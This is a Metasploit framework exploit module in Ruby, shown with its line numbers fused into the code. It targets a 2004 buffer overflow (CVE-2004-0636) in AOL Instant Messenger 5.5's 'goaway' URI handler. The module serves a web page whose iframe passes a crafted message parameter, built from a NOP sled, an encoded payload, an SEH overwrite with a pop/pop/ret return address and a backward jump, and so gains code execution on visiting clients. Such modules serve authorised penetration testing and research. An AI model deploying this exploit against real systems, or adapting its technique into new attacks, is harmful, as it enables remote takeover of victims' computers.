Path: blob/master/modules/exploits/windows/browser/aim_goaway.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78#9# This module acts as an HTTP server and exploits an SEH overwrite10#11include Msf::Exploit::Seh12include Msf::Exploit::Remote::HttpServer::HTML1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'AOL Instant Messenger goaway Overflow',19'Description' => %q{20This module exploits a flaw in the handling of AOL Instant21Messenger's 'goaway' URI handler. An attacker can execute22arbitrary code by supplying an overly sized buffer as the23'message' parameter. This issue is known to affect AOL Instant24Messenger 5.5.25},26'License' => MSF_LICENSE,27'Author' => [28'skape',29'thief <thief[at]hick.org>'30],31'References' => [32[ 'CVE', '2004-0636' ],33[ 'OSVDB', '8398' ],34[ 'BID', '10889'],35[ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],36],37'Payload' => {38'Space' => 1014,39'MaxNops' => 1014,40'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",41'StackAdjustment' => -3500,42},43'Platform' => %w{win},44'Targets' => [45# Target 0: Automatic46[47'Windows NT/2000/XP/2003 Automatic',48{49'Platform' => 'win',50'Rets' =>51[520x1108118f, # proto.com: pop/pop/ret53],54},55],56],57'DefaultTarget' => 0,58'DisclosureDate' => '2004-08-09',59'Notes' => {60'Reliability' => UNKNOWN_RELIABILITY,61'Stability' => UNKNOWN_STABILITY,62'SideEffects' => UNKNOWN_SIDE_EFFECTS63}64)65)66end6768def on_request_uri(cli, request)69# Re-generate the payload70return if ((p = regenerate_payload(cli)) == nil)7172# Build out the message73msg =74make_nops(1014 - p.encoded.length) + # NOP sled before the payload75p.encoded + # store the payload76generate_seh_record(target['Rets'][0]) + # set up the SEH frame77"\x90\xe9\x13\xfc\xff\xff" # jmp -10007879# Build the HTML content80content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"8182print_status("Sending #{self.name}")8384# Transmit the response to the client85send_response_html(cli, content)8687# Handle the payload88handler(cli)89end90end919293